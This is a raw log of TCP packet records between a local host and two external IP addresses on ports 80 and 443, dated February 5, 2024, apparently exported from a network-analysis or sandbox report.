Feb 5, 2024 10:57:31.066420078 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.066437006 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.066813946 CET	49737	443	192.168.2.4	104.21.94.2
Feb 5, 2024 10:57:31.066879034 CET	49737	443	192.168.2.4	104.21.94.2
Feb 5, 2024 10:57:31.067082882 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.067102909 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.067123890 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.067131042 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.067143917 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.067158937 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.067162037 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.067203999 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.067214966 CET	443	49737	104.21.94.2	192.168.2.4
Feb 5, 2024 10:57:31.067940950 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.067960024 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.067977905 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.067996025 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.067996979 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.068016052 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.068031073 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.068753958 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.068773985 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.068792105 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.068793058 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.068814039 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.068833113 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.068834066 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.068876982 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.069664955 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.069684982 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.069704056 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.069720984 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.069721937 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.069741011 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.069753885 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.070444107 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.070466042 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.070482969 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.070486069 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.070504904 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.070518970 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.070527077 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.070559025 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.078958035 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.079026937 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.079051018 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.079067945 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.079071999 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.079088926 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.079101086 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.079408884 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.079431057 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.079448938 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.079459906 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.079466105 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.079483032 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.079485893 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.079530954 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.080248117 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.080267906 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.080286980 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.080305099 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.080311060 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.080324888 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.080341101 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.081067085 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.081085920 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.081104994 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.081109047 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.081125021 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.081140041 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.081142902 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.081187010 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.081821918 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.081845045 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.081897020 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.081897974 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.081919909 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.081940889 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.081959009 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.082719088 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.082741022 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.082758904 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.082763910 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.082779884 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.082797050 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.082798004 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.082844973 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.083528042 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.083547115 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.083565950 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.083584070 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.083589077 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.083604097 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.083631039 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.084366083 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.084386110 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.084403992 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.084413052 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.084424019 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.084440947 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.084445000 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.084484100 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.085097075 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.085206032 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.085225105 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.085242033 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.085246086 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.085262060 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.085275888 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.085280895 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.085314989 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.086182117 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.086199999 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.086230040 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.086246014 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.086249113 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.086268902 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.086282969 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.086910009 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.086929083 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.086949110 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.086951017 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.086967945 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.086982012 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.086985111 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.087033033 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.087693930 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.087716103 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.087733030 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.087749958 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.087759018 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.087770939 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.087790012 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.088567019 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.088587046 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.088603973 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.088608980 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.088622093 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.088639975 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.088654995 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.088694096 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.089314938 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.089334965 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.089354992 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.089373112 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.089380980 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.089391947 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.089416981 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.142690897 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.142721891 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.142740011 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.142784119 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.142828941 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.142982960 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.143002033 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.143018961 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.143037081 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.143054962 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.143183947 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.143183947 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.143517017 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.143580914 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.143604040 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.143624067 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.143642902 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.143663883 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.143696070 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.143738031 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.144381046 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.144401073 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.144423008 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.144440889 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.144459009 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.144474030 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.144543886 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.145174026 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.145227909 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.145231009 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.145251989 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.145314932 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.169523954 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.169670105 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.169708014 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.169744968 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.169784069 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.169799089 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.169799089 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.169959068 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.169996023 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.170015097 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.170037031 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.170073986 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.170095921 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.170114040 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.170172930 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.171689034 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.171729088 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.171766043 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.171787977 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.171807051 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.171845913 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.171858072 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.172447920 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.172487974 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.172513008 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.172528028 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.172591925 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.172595024 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.172631025 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.172691107 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.173362970 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.173404932 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.173441887 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.173459053 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.173485041 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.173521996 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.173540115 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.174159050 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.174212933 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.174220085 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.174257040 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.174294949 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.174330950 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.174331903 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.174382925 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.174982071 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.175021887 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.175059080 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.175080061 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.175097942 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.175137043 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.175153971 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.175873995 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.175913095 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.175935984 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.175951958 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.175992012 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.176002979 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.176029921 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.176096916 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.176830053 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.176870108 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.176907063 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.176928043 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.176949978 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.176987886 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.177006960 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.177659988 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.177704096 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.177721977 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.177741051 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.177781105 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.177802086 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.177819967 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.177880049 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.178086042 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.178256989 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.178297043 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.178316116 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.178333998 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.178373098 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.178390026 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.178411961 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.178463936 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.179223061 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.179265022 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.179301023 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.179322958 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.179341078 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.179378986 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.179398060 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.179925919 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.179965973 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.180052042 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.180054903 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.180094004 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.180109978 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.180134058 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.180187941 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.180784941 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.180824995 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.180865049 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.180881023 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.180905104 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.180942059 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.180955887 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.181602955 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.181642056 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.181662083 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.181679964 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.181716919 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.181735039 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.181755066 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.181809902 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.182285070 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.182322979 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.182360888 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.182374954 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.182401896 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.182441950 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.182457924 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.183337927 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.183379889 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.183401108 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.183418036 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.183456898 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.183475971 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.183495998 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.183556080 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.184051991 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.184091091 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.184128046 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.184148073 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.184165955 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.184206009 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.184225082 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.184938908 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.184978008 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.184997082 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.185015917 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.185053110 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.185066938 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.185091019 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.185143948 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.185646057 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.185684919 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.185726881 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.185745955 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.185765028 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.185803890 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.185825109 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.186630964 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.186670065 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.186691999 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.186709881 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.186748028 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.186768055 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.186785936 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.186846018 CET	49736	80	192.168.2.4	104.21.67.46
